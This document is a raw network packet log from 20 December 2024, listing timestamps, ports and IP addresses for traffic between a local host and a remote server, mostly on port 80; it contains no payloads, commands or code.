Dec 20, 2024 21:13:48.336504936 CET	443	49958	104.21.91.209	192.168.2.6
Dec 20, 2024 21:13:48.433090925 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.552807093 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.552830935 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.552841902 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.552915096 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.553009987 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.553062916 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.553189993 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.553309917 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.553320885 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.553363085 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.553569078 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.553623915 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.553889036 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.553973913 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.553983927 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.554027081 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.554229021 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.554294109 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.554738045 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.554794073 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.554805040 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.554858923 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.555022955 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.555075884 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.555519104 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.555649042 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.555660963 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.555706978 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.555843115 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.555891991 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.556248903 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.556384087 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.556394100 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.556428909 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.556619883 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.556739092 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.557109118 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.557213068 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.557223082 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.557260990 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.557465076 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.557514906 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.557898045 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.558053970 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.558067083 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.558108091 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.558387041 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.558476925 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.558837891 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.558945894 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.558958054 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.559000969 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.559205055 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.559252024 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.559664011 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.559750080 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.559761047 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.559798956 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.559964895 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.560035944 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.560403109 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.560504913 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.560517073 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.560560942 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.560708046 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.560760975 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.561198950 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.561321020 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.561331034 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.561366081 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.561721087 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.561770916 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.561876059 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.561888933 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.562047005 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.562083006 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.562570095 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.562706947 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.562865973 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.562879086 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.562942028 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.563106060 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.563561916 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.563628912 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.563636065 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.563640118 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.563692093 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.563874960 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.564184904 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.564239025 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.564284086 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.564296007 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.564349890 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.564490080 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.564960957 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.565066099 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.565089941 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.565100908 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.565144062 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.565305948 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.565661907 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.565768957 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.565779924 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.565834999 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.565892935 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.566071033 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.566716909 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.566766977 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.566869020 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.566879988 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.566929102 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.567008972 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.567639112 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.567694902 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.567709923 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.567720890 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.567759037 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.567905903 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.568334103 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.568389893 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.568397999 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.568408966 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.568447113 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.568629980 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.569124937 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.569226027 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.569236994 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.569269896 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.569303989 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.569344044 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.569822073 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.569875956 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.569919109 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.569931984 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.569994926 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.570118904 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.570497036 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.570547104 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.570641994 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.570652962 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.570694923 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.571062088 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.571337938 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.571388006 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.571393013 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.571404934 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.571440935 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.571578026 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.571981907 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.572033882 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.572082996 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.572093964 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.572134018 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.572298050 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.572786093 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.572864056 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.572952032 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.572962999 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.573009968 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.573122978 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.573543072 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.573591948 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.573637962 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.573647976 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.573698997 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.573860884 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.574299097 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.574353933 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.574353933 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.574364901 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.574403048 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.574635983 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.575119972 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.575179100 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.575217962 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.575248003 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.575350046 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.575468063 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.575923920 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.575997114 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.576014996 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.576028109 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.576076984 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.576281071 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.576750994 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.576850891 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.576864958 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.576910973 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.576910973 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.577157021 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.577572107 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.577625990 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.577716112 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.577728033 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.577771902 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.578038931 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.578290939 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.578376055 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.578380108 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.578387022 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.578438044 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.578599930 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.579133987 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.579184055 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.579195023 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.579205990 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.579257011 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.579417944 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.579830885 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.579884052 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.579920053 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.579931021 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.579977036 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.580121994 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.580651999 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.580710888 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.580845118 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.580856085 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.580907106 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.581069946 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.581516027 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.581568003 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.581666946 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.581679106 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.581732988 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.581870079 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.582310915 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.582375050 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.582453012 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.582464933 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.582520008 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.582657099 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.583133936 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.583256006 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.583290100 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.583301067 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.583337069 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.583501101 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.584014893 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.584064007 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.584076881 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.584088087 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.584130049 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.584304094 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.584825039 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.584881067 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.584887981 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.584901094 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.584963083 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.585063934 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.585452080 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.585504055 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.585614920 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.585696936 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.585706949 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.585745096 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.586158991 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.586323023 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.586334944 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.586349964 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.586406946 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.586637020 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.587080002 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.587131977 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.587135077 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.587142944 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.587213993 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.587449074 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.587918043 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.587970972 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.588072062 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.588083029 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.588222027 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.588299990 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.588773012 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.588824034 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.588835001 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.588854074 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.588926077 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.589154005 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.589521885 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.589581013 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.589591980 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.589615107 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.589777946 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.589864016 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.590300083 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.590349913 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.590394974 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.590405941 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.590466022 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.590620995 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.591051102 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.591121912 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.591135979 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.591147900 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.591198921 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.591320038 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.591692924 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.591752052 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.591787100 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.591799021 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.591850042 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.592047930 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.592544079 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.592598915 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.592633963 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.592645884 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.592686892 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.593051910 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.593327045 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.593375921 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.593389034 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.593400955 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.593451977 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.593626976 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.594125032 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.594173908 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.594208956 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.594219923 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:48.594284058 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.904159069 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:48.917685986 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.024497986 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.024537086 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.024554968 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.024601936 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.038422108 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.038485050 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.038501978 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.038522959 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.038563967 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.038743973 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.038893938 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.038909912 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.038944960 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.039145947 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.039163113 CET	80	49944	185.121.15.192	192.168.2.6
